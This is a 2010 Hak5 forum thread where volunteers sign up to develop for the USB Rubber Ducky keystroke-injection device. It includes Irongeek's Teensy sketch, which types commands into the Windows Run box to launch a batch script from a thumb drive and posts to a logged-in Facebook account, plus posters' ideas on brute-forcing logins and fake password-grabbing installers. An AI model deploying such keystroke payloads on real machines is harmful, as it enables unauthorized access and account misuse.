jrsmile Posted April 14, 2010 Share Posted April 14, 2010 (edited) i love this thing, always thought about a way to automate stuff without having to add something to the machine im on, did it some time ago with the warrior chips if you can remember them. i would develop a password generator linked to the exact time of day to generate passwords that change every minute by scheduled tasks or something :) just have to keep the time on the thingy in sync. but at least a daily changing password algorythm would be easily possible. if i im not with the first 100 i will buy the teensy straight away :) Edited April 14, 2010 by jrsmile Quote Link to comment Share on other sites More sharing options...
Jerico_Tyler Posted April 14, 2010 Share Posted April 14, 2010 What I wonder is which Teensy Darren is putting in the kit. The ducky had a 2.0 but the lil packs looked long enough to be 2.0++. Quote Link to comment Share on other sites More sharing options...
jbfuzier Posted April 14, 2010 Share Posted April 14, 2010 (edited) As everyone else is posting here, I will do the same:) ; I have about a 5 year programming experience in C,C++,Php,Java and Python. I have also developed on microchip PIC18F microcontroller , on 8051 and on motorola 68000 series microprocessors (Both on C and assembly). Edited April 14, 2010 by jbfuzier Quote Link to comment Share on other sites More sharing options...
Seshan Posted April 14, 2010 Share Posted April 14, 2010 Probably just the 2.0. Quote Link to comment Share on other sites More sharing options...
roadkill Posted April 14, 2010 Share Posted April 14, 2010 If the page isnt up. Then ill just post here for now. Im a developer, used arduinos alot, know java, C++, c , python, haskell, vb etc... Used alot of languages and hardware, and think this is a goood idea Quote Link to comment Share on other sites More sharing options...
DOWNFALL Posted April 14, 2010 Share Posted April 14, 2010 This is a great project, I love the community aspect. Just seen that the link isn't live yet, but would like to develop for the ducky. I have coding experience in c, c#, c++(main language), Objective-C, python, Assembly and lisp (don't make fun of lisp) ;-) also qualifications / experience with electronic systems. Hope I am considered, Thanks Quote Link to comment Share on other sites More sharing options...
Jerico_Tyler Posted April 14, 2010 Share Posted April 14, 2010 (edited) eh might as well join the bandwagon: I've had interest in the arduino development board for some time and as soon as Darren explained how the ducky worked I instantly wanted one. I've written a program in VB.net used by the electronics department of my school to create shows for a JVF 2010a signboard so I understand the fundamental structures of programing. I've only used c in a few occasions but my lack of experience is because I've not a had a real good way of practicing with it. The teensy in my opinion would be the perfect way to get intimate with the language. ps I also have several spare boxes ranging from 1995-2008 that would be perfect for testing the type speeds and possibly trying out interfacing with other port types. edit: I forgot to add that I'm currently in the second year of the Electronic Engineering Technologies program at my college and that at my high school I'm currently the lead controls troubleshooter for the Competition our electric car we will be entering into in may. Also in the high school class we're just months away from taking the associate certification for the ETA-i. Edited April 14, 2010 by Jerico_Tyler Quote Link to comment Share on other sites More sharing options...
Darren Kitchen Posted April 14, 2010 Share Posted April 14, 2010 I just finished watching the the video and the link should be http://www.hak5.org/iwantttodevelopfortheducky but it is not live yet. You've got too many T's in that URL. It's http://www.hak5.org/iwanttodevelopfortheducky Quote Link to comment Share on other sites More sharing options...
djmirage Posted April 14, 2010 Share Posted April 14, 2010 Just registered on the forums just now. Emailed and signed up at the url as well. Small introduction; Actionscript/Java/PHP/Ruby/Objective-C/C++ programmer, never done much hardware or electronics except for controlling an Ambx lighting set. Pluspoint for me, I wrote an irc bot called Ducky years ago and it's still running. Creativity sparks well, already got 2 concepts going in my head. Quote Link to comment Share on other sites More sharing options...
Somken Posted April 14, 2010 Share Posted April 14, 2010 Signed up. Hope I get one. Quote Link to comment Share on other sites More sharing options...
robodude666 Posted April 14, 2010 Share Posted April 14, 2010 Howdy, I absolutely love the idea of this project. Not only is it a brilliant exploit, it's also very expandable. The Teensy 2.0 (even the Teensy++ 2.0) is a nice little development system and a great alternative to Arduino's hardware, but the ATMega32U4 is limited to a mere 16MHz, 32kB FLASH, and 2.5kB RAM, and a few peripherals (which should suffice, actually). There are a number of other microcontrollers out there that could increase the amount of awesome that could be accomplished. For example, the AVR32 series from ATMEL has a lot more oomph behind it. The AT32UC3A0128 part features up to 91 MIPS at 66MHz, 12Mbps USB support, 10/100 ethernet, an EBI interface for external SRAM/SDRAM (128Mb+ external - though GCC is limited to 64kB due to a 16-bit address without hardware tricks; might be different for AVR32-GCC though). And, best of all about the AVR32? It's got enough resources for eLUA (Embedded LUA). Like Darren mentioned in the episode, you could include a SDHC card with plenty of storage, and simply dump LUA scripts onto the card which will get executed on startup. A couple DIP switches and you can select specific scripts for a needed application. And, if you want to go completely overboard on performance, hacking a BeagleBoard into a slightly larger rubber duck could yield over 1,200 MIPS from its ARM Cortex-A8 600MHz processor, 128MB onboard RAM, 256MB NAND FLASH, SD Card, and other fun goodies for only $150. Oh, it's also got HDMI/DVI output which could be used as a small interface for the duck. The BeagleBoard can even run linux which could be used to execute Python scripts, etc. Oh the joy that could be had. Cheers, -robodude666 Quote Link to comment Share on other sites More sharing options...
str33ts0ld13r Posted April 14, 2010 Share Posted April 14, 2010 Got signed up, been waiting about 10 hours for this lol. Hope I make the cut, and didn't stay up for 24 hours for nothing lol. Good luck to everyone else too. Im really happy to see so much support for this so quickly!! Now its time to take a nap.. Quote Link to comment Share on other sites More sharing options...
brianzimm Posted April 14, 2010 Share Posted April 14, 2010 Sweet thanks. Quote Link to comment Share on other sites More sharing options...
EGOtrip Posted April 14, 2010 Share Posted April 14, 2010 This seems like a awesome project. Quote Link to comment Share on other sites More sharing options...
switz Posted April 14, 2010 Share Posted April 14, 2010 I just submitted my application. I hope I get picked; Even if I do not get picked for a dev kit I'll probably buy a Teensy board anyway. I can't wait for this project to get off of its feet. Quote Link to comment Share on other sites More sharing options...
nxt471 Posted April 14, 2010 Share Posted April 14, 2010 (edited) I'd like to work on an OS X version (Both client and server) because I wan to show people how insecure OS X is when it comes to physical access and because I am a total ninja on AppleScript, I made something /like/ that used a macro keyboard and came up with a dummy "driver" installer file (Because users put in their password no questions), however it required you to press the button that poped up the installer. I also came up with a theory that the duck can also do things on the xbox (Including buying stuff from xbox live or playing Rock Band by fiddling with the USB ID) but the menus are slow so it's not as invisable, I'l look into making it work with the PS3 but the 360 has keyboard support in the dashboard. Lastly I'd like to apologize for being inactive in the community for the past year, school is hard work but it's almost all over, I'l make it up to you guys. Edited April 14, 2010 by nxt471 Quote Link to comment Share on other sites More sharing options...
Dаrren Kitchen Posted April 14, 2010 Share Posted April 14, 2010 I've got some of my code, and notes, here: http://www.irongeek.com/i.php?page=securit...eystroke-dongle Also, I'm working on a basic library of functions, but to give you an idea of how simple it is to code for the Teensy, here is some source (note, it does a lot of stuff, including driving an RGB LED): /* The following is Irongeek's diag code To learn more about Teensyduino see: http://www.pjrc.com/teensy/teensyduino.html Look in arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_api.h for key definitions Edit arduino-xxxx\hardware\teensy\cores\tensy_hid\usb_private.h to change USB Vendor and Product ID */ // The setup() method runs once, when the sketch starts int thispin; int PhotoRead = analogRead(0); int OldPhotoRead = PhotoRead; int ledPin = 11; int redPin = 15; int greenPin = 12; int bluePin = 14; int redIntensity = 0; int greenIntensity = 128; int blueIntensity = 128; int rRate = 1; int gRate = -1; int bRate = 1; int DIP_0 = 2; int DIP_1 = 3; int DIP_2 = 4; int DIP_3 = 5; int DIP_4 = 6; int DIP_5 = 7; int DIP_6 = 8; int DIP_7 = 9; int DIP_8 = 10; void setup() { // initialize the digital pin as an output: for (int thispin=0; thispin <=10;thispin++){ pinMode(thispin, INPUT_PULLUP); // Dip } pinMode(ledPin, OUTPUT); } // the loop() method runs over and over again, // as long as the Arduino has power void loop() { //delay(250); if (!digitalRead(0)) { ShowDiag(); RGBLEDOff(); } //Please note: I use negative logic here, when a pin goes to ground the code us run. PhotoRead = analogRead(0); if (!digitalRead(DIP_1)) { if (abs(PhotoRead - OldPhotoRead) > 50 ) { LightDiag(); } } /* This section sends a command to the run bar, finds the drive letter by its volume name (MYTHUMB in this example, and case sensitive), then runs your script. Thanks to Tim Medin for this more elegant command line then what I had for finding the thumbdrive by volume name. */ if (!digitalRead(DIP_2)) { if (abs(PhotoRead - OldPhotoRead) > 50 ) { CommandAtRunBar("cmd /c for /F %i in ('WMIC logicaldisk where \"DriveType=2\" list brief ^| find \"MYTHUMB\"') do %i\\myscript.bat"); delay(2000); ShrinkCurWin(); } } if (!digitalRead(DIP_3)) { WindowsLockStation(); } if (!digitalRead(DIP_4)) { MouseWiggle(); } if (!digitalRead(DIP_5)) { WebIG(); } if (!digitalRead(DIP_6)) { FacebookPost("Test from Phukd device, more info at http://www.irongeek.com/i.php?page=securit...-dongle"); } if (!digitalRead(DIP_7)) { DoRGBStuff(); } if (!digitalRead(DIP_8)) { DoCOPStuff(); } digitalWrite(ledPin, LOW); } //******************************************************************** //******************************************************************** void CommandAtRunBar(char *SomeCommand){ //digitalWrite(ledPin, HIGH); // set the LED on Keyboard.set_modifier(128); //Windows key Keyboard.set_key1(KEY_R); // use r key Keyboard.send_now(); // send strokes Keyboard.set_modifier(0); //prep release of control keys Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times. Keyboard.send_now(); //Send the key changes delay(1500); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } //******************************************************************** //******************************************************************** void ShrinkCurWin(){ Keyboard.set_modifier(MODIFIERKEY_ALT); Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); Keyboard.print("n"); } //******************************************************************** //******************************************************************** void PressAndRelease(int KeyCode,int KeyCount){ int KeyCounter=0; for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){ Keyboard.set_key1(KeyCode); // use r key Keyboard.send_now(); // send strokes Keyboard.set_key1(0); Keyboard.send_now(); // send strokes } } //******************************************************************** //******************************************************************** void ShowDiag(){ //digitalWrite(ledPin, HIGH); for (int thispin=0; thispin <11;thispin++){ if (!digitalRead(thispin)) { //digitalWrite(ledPin, HIGH); // set the LED on Keyboard.print(thispin); Keyboard.println(" is low"); } else{ //Keyboard.print(thispin); //Keyboard.println(" is high"); } } Keyboard.print("analog pin 8 is: "); Keyboard.println(PhotoRead); } //******************************************************************** //******************************************************************** void DoRGBStuff(){ // Begin RGB Code analogWrite(redPin, redIntensity); analogWrite(greenPin,greenIntensity); analogWrite(bluePin, blueIntensity); // remain at this color, but not for very long delay(10); redIntensity = redIntensity + rRate; greenIntensity = greenIntensity + gRate; blueIntensity = blueIntensity + bRate; if (redIntensity == 255) { rRate = -1; } if (redIntensity == 0) { rRate = 1; } if (greenIntensity == 255) { gRate = -1; } if (greenIntensity == 0) { gRate = 1; } if (blueIntensity == 255) { bRate = -1; } if (blueIntensity == 0) { bRate = 1; } // End RGB Code } //******************************************************************** //******************************************************************** void DoCOPStuff(){ // Begin RGB Code analogWrite(redPin, 255); analogWrite(greenPin,0); analogWrite(bluePin, 0); delay(50); analogWrite(redPin, 0); analogWrite(greenPin,255); analogWrite(bluePin, 0); delay(50); analogWrite(redPin, 0); analogWrite(greenPin,0); analogWrite(bluePin, 255); delay(50); // End RGB Code } //******************************************************************** //******************************************************************** void RGBLEDOff(){ analogWrite(redPin, 0); analogWrite(greenPin,0); analogWrite(bluePin, 0); } //******************************************************************** //******************************************************************** void LightDiag(){ digitalWrite(ledPin, HIGH); // set the LED on CommandAtRunBar("notepad.exe"); delay(1000); Keyboard.print("Movement! Current light: "); Keyboard.print(PhotoRead); Keyboard.print(" Old light: "); Keyboard.println(OldPhotoRead); PressAndRelease(KEY_F5,1); OldPhotoRead = analogRead(0); } //******************************************************************** //******************************************************************** //Locks the workstaion if you are in Windows void WindowsLockStation(){ digitalWrite(ledPin, HIGH); // set the LED on Keyboard.set_modifier(MODIFIERKEY_CTRL|MODIFIERKEY_ALT); Keyboard.set_key1(KEY_DELETE); // use delete key Keyboard.send_now(); // send strokes Keyboard.set_modifier(0); //prep release of control keys Keyboard.set_key1(KEY_ENTER); delay(1500); Keyboard.send_now(); //Send the key changes Keyboard.set_key1(0); Keyboard.send_now(); } //******************************************************************** //******************************************************************** //Moves the mouse around and clicks to be annoying void MouseWiggle(){ digitalWrite(ledPin, HIGH); // set the LED on Mouse.move(random(-100, 100) ,random(-100, 100) ); Mouse.click(); } //******************************************************************** //******************************************************************** //Opens a browser to http://irongeek.com void WebIG(){ digitalWrite(ledPin, HIGH); // set the LED on CommandAtRunBar("cmd /c start http://irongeek.com"); } //******************************************************************** //******************************************************************** //Make a facebook post, assumes the person is logged in. void FacebookPost(char *SomeString){ digitalWrite(ledPin, HIGH); // set the LED on CommandAtRunBar("cmd /c start http://m.facebook.com"); delay(6000); PressAndRelease(KEY_TAB, 8); Keyboard.print(SomeString); PressAndRelease(KEY_TAB, 1); PressAndRelease(KEY_ENTER, 1); } //******************************************************************** Quote Link to comment Share on other sites More sharing options...
Dаrren Kitchen Posted April 14, 2010 Share Posted April 14, 2010 That reminds me, I've adding a photoresistor makes for an easy motion sensor. I've also set mine up to use a reed switch so I can use a magnet to set it off. Quote Link to comment Share on other sites More sharing options...
mentalist Posted April 14, 2010 Share Posted April 14, 2010 Count me in! Im an embedded programmer, got experience with arduino and with atmegas in general, mainly remote triggering (camera flashes) projects. Im looking into adding a RF capability to ducky.. remotely trigerring the device. also i can implement the sdcard interfacing (via spi mode). Quote Link to comment Share on other sites More sharing options...
nxt471 Posted April 14, 2010 Share Posted April 14, 2010 That reminds me, I've adding a photoresistor makes for an easy motion sensor. I've also set mine up to use a reed switch so I can use a magnet to set it off. Now THAT is a good idea, I was just going for a few LEDs and touch sensors but that got me thinking about adding some more sensors including a sound sensor, clap to pwn anyone? You could also have a key that tells the teensy to do it's pwning but that may not fit inside the duck shell, you could, however, put it inside a staples "easy" button, fitting it inside a USB hub or a even in a real mouse. Quote Link to comment Share on other sites More sharing options...
Dаrren Kitchen Posted April 14, 2010 Share Posted April 14, 2010 I plan to bring the units I've been working on to Notacon if anyone else will be there. Quote Link to comment Share on other sites More sharing options...
mikeful Posted April 14, 2010 Share Posted April 14, 2010 Hi. First post here. I watched new episode and interested immediately. I've got my first Arduino few weeks ago and Teensy seems to be compatible with it. Quote Link to comment Share on other sites More sharing options...
Poggie Posted April 14, 2010 Share Posted April 14, 2010 This Project sounds extremly interesting! I would love to get my hands on this. I wonder how we could address a usb-device attachted together with the Ducky. Afaik it is possible to allow only a list of known hardware id´s to be mounted as usb storage in linux, anyone knows a project working with this stuff in windows? Quote Link to comment Share on other sites More sharing options...
Darren Kitchen Posted April 14, 2010 Share Posted April 14, 2010 That reminds me, I've adding a photoresistor makes for an easy motion sensor. I've also set mine up to use a reed switch so I can use a magnet to set it off. I toyed with a photoresistor connected to a suction cup so that the teensy could tell when the screen changed significantly. The idea was to use the suction cup to attach the resistor to the screen over top of the login screen, then the teensy would know when the brute force was successful. never managed to get it working right. Quote Link to comment Share on other sites More sharing options...
Segfault Posted April 14, 2010 Share Posted April 14, 2010 I cannot wait to get ahold of one of these. Been working with microcontrollers for a few years now and see a lot of potential with all of these with a bunch of sensors hooked up like others had already mentioned. I just hope I never have to be on the other end of these at work. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.